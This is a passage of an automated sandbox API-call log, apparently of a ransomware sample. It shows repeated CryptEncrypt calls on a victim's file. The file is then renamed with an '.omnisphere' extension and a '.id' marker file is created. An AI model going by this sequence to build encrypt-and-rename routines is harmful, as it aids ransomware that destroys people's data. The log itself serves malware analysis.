pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.698] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.699] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.700] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.701] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0091.708] CryptDestroyKey (hKey=0x1639b28) returned 1 [0091.708] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0091.708] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x45882, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0091.708] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0091.708] GetProcessHeap () returned 0x1600000 [0091.709] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2dc) returned 0x1637d28 [0091.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl.omnisphere")) returned 1 [0091.709] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.omnisphere.id" [0091.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\harvardanglia2008officeonline.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0091.710] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) 